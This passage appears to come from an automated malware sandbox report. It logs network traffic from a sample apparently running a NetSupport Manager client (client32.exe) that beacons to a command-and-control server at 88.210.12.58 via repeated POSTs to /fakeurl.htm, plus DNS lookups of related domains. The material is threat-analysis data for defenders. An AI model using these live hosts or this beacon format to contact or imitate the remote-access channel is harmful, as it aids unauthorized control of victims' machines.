Dec 6, 2024 10:43:16.788249969 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:43:16.869373083 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:43:16.890393972 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:43:16.970377922 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:43:16.990125895 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:43:17.071589947 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:43:17.091496944 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:43:17.172346115 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:43:17.192573071 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:43:17.274228096 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:43:17.293159008 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:43:17.372370005 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:43:17.395334005 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:43:17.473437071 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:43:17.492758989 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:43:17.573440075 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:43:17.593357086 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:43:17.674381971 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:43:17.693804979 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:43:17.777611017 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:43:17.794332027 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:43:17.878479958 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:43:17.897588015 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:43:17.979321957 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:43:17.998539925 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:43:18.079360962 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:43:18.099338055 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:43:18.180320024 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:43:18.199481964 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:43:18.280329943 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:43:18.300230026 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:43:18.382195950 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:43:18.400264978 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:43:18.481362104 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:43:18.502346992 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:43:18.581485033 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:43:18.601214886 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:43:18.681377888 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:43:18.702567101 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:43:18.782500982 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:43:18.804882050 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:43:18.884206057 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:43:18.904864073 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:43:18.986221075 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:43:19.004056931 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:43:19.084372997 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:43:19.106105089 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:43:19.186208010 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:43:19.204847097 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:43:19.286201954 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:43:19.306289911 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:43:19.386378050 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:43:19.406857014 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:43:19.487360954 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:43:19.506421089 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:43:19.587388992 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:43:19.607297897 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:43:19.687366009 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:43:19.707544088 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:43:19.787385941 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:43:19.808758020 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:43:19.888386965 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:43:19.907430887 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:43:20.008280993 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:43:20.192492962 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:43:20.293390989 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:43:20.312387943 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:43:20.394411087 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:43:20.413455009 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:43:20.494435072 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:43:20.514914036 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:43:20.594455957 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:43:20.615283966 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:43:20.698250055 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:43:20.714338064 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:43:20.798217058 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:43:20.818556070 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:43:20.896492958 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:43:20.918322086 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:43:20.998208046 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:43:21.016653061 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:43:21.098216057 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:43:21.119297028 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:43:21.198230982 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:43:21.231638908 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:43:21.297344923 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:43:21.319561958 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:43:21.398427963 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:43:21.417476892 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:43:21.498466969 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:43:21.518258095 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:43:21.599436998 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:43:21.618751049 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:43:21.699444056 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:43:21.719510078 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:43:21.820379019 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:43:22.000386953 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:43:22.101411104 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:43:22.120520115 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:43:22.201406002 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:43:22.221519947 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:43:22.301477909 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:43:22.321978092 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:43:22.404268026 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:43:22.421473980 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:43:22.504368067 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:43:22.526266098 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:43:22.602433920 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:43:22.624759912 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:43:22.703351974 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:43:22.723258972 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:43:22.804457903 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:43:22.823277950 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:43:22.904474020 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:43:22.924496889 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:43:23.004389048 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:43:23.025012016 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:43:23.108299971 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:43:23.124618053 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:43:23.205442905 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:43:23.228210926 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:43:23.306407928 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:43:23.326425076 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:43:23.407351971 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:43:23.426650047 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:43:23.508395910 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:43:23.528417110 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:43:23.609376907 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:43:23.628341913 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:43:23.710413933 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:43:23.729391098 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:43:23.811389923 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:43:23.830233097 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:43:23.911421061 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:43:23.931443930 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:43:24.031174898 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:43:25.155673027 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:43:25.276796103 CET	3785	49737	88.210.12.58	192.168.2.6

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 6, 2024 10:39:17.669229031 CET	58233	53	192.168.2.6	1.1.1.1
Dec 6, 2024 10:39:18.037405968 CET	53	58233	1.1.1.1	192.168.2.6
Dec 6, 2024 10:39:32.624917030 CET	56094	53	192.168.2.6	1.1.1.1
Dec 6, 2024 10:39:33.158320904 CET	53	56094	1.1.1.1	192.168.2.6
Dec 6, 2024 10:39:34.404447079 CET	62080	53	192.168.2.6	1.1.1.1
Dec 6, 2024 10:39:34.545440912 CET	53	62080	1.1.1.1	192.168.2.6

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Dec 6, 2024 10:39:17.669229031 CET	192.168.2.6	1.1.1.1	0x97b9	Standard query (0)	cycleconf.com	A (IP address)	IN (0x0001)	false
Dec 6, 2024 10:39:32.624917030 CET	192.168.2.6	1.1.1.1	0xfc32	Standard query (0)	ganeres1.com	A (IP address)	IN (0x0001)	false
Dec 6, 2024 10:39:34.404447079 CET	192.168.2.6	1.1.1.1	0x9e23	Standard query (0)	geo.netsupportsoftware.com	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	Address	Type	Class	DNS over HTTPS
Dec 6, 2024 10:39:18.037405968 CET	1.1.1.1	192.168.2.6	0x97b9	No error (0)	cycleconf.com	23.254.224.41	A (IP address)	IN (0x0001)	false
Dec 6, 2024 10:39:33.158320904 CET	1.1.1.1	192.168.2.6	0xfc32	No error (0)	ganeres1.com	88.210.12.58	A (IP address)	IN (0x0001)	false
Dec 6, 2024 10:39:34.545440912 CET	1.1.1.1	192.168.2.6	0x9e23	No error (0)	geo.netsupportsoftware.com	104.26.1.231	A (IP address)	IN (0x0001)	false
Dec 6, 2024 10:39:34.545440912 CET	1.1.1.1	192.168.2.6	0x9e23	No error (0)	geo.netsupportsoftware.com	172.67.68.212	A (IP address)	IN (0x0001)	false
Dec 6, 2024 10:39:34.545440912 CET	1.1.1.1	192.168.2.6	0x9e23	No error (0)	geo.netsupportsoftware.com	104.26.0.231	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

cycleconf.com

88.210.12.58connection: keep-alivecmd=pollinfo=1ack=1

88.210.12.58connection: keep-alivecmd=encdes=1data=u2hr4]%y-=id3wi7?=@ff&t[6ral_meuxbk#rtr5=ifmqyz8"plv{r_r,dff-q=mb*9w_z8a ]

geo.netsupportsoftware.com

88.210.12.58connection: keep-alivecmd=encdes=1data=l3<(t{evk9|||$(m$ccp]u#1h*l0mtsm6

88.210.12.58connection: keep-alivecmd=encdes=1data=#mhuaag

88.210.12.58connection: keep-alivecmd=encdes=1data=#mhuaagpost 88.210.12.58

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.6	49737	88.210.12.58	3785	4900	C:\Users\user\AppData\Local\DNScache\client32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 6, 2024 10:39:33.662902117 CET	216	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 22Host: 88.210.12.58Connection: Keep-AliveCMD=POLLINFO=1ACK=1 Data Raw: Data Ascii:
Dec 6, 2024 10:39:34.522228956 CET	224	IN	HTTP/1.1 200 OKServer: NetSupport Gateway/1.92 (Windows NT)Content-Type: application/x-www-form-urlencodedContent-Length: 69Connection: Keep-AliveCMD=ENCDES=1DATA=g+${ \W[R7)^\d8=M`sM6 Data Raw: Data Ascii:
Dec 6, 2024 10:39:34.524193048 CET	426	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 232Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=u2hr4]%y-=ID3Wi7?=@Ff&t[6raL_Meuxbk#rtr5=IfMQYz8"pLV{r_r,dFF-q=MB*9W_z8A ] Data Raw: Data Ascii:
Dec 6, 2024 10:39:34.919693947 CET	309	IN	HTTP/1.1 200 OKServer: NetSupport Gateway/1.92 (Windows NT)Content-Type: application/x-www-form-urlencodedContent-Length: 154Connection: Keep-AliveCMD=ENCDES=1DATA=u2hr \WhE=I=n~2I[=I_T&=n&Z=n#Lqf3m#VWi6w:Nz:<m7?=@\|-% Data Raw: Data Ascii:
Dec 6, 2024 10:39:34.939225912 CET	278	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 84Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=l3<(T{EVk9\|\|\|$(m$CCP]U#1H*L0MtsM6 Data Raw: Data Ascii:
Dec 6, 2024 10:40:23.621627092 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:40:33.055480957 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:40:34.464438915 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:40:34.665472984 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:40:34.765435934 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:40:34.866447926 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:40:34.966443062 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:40:35.067455053 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:40:35.167428970 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:40:35.268713951 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:40:35.368585110 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:40:35.469504118 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:40:35.569480896 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:40:35.670510054 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:40:35.770486116 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:40:35.871478081 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:40:35.972440004 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:40:36.073446035 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:40:36.173444986 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:40:36.273468018 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:40:36.374439955 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:40:36.474462032 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:40:36.575614929 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:40:36.676451921 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:40:36.777447939 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:40:36.877453089 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:40:36.977463007 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:40:37.077559948 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:40:37.177470922 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:40:37.277548075 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:40:37.378500938 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:40:37.478492975 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:40:37.579499960 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:40:37.679477930 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:40:37.779481888 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:40:37.880491018 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:40:37.980473995 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:40:38.083992958 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:40:38.181462049 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
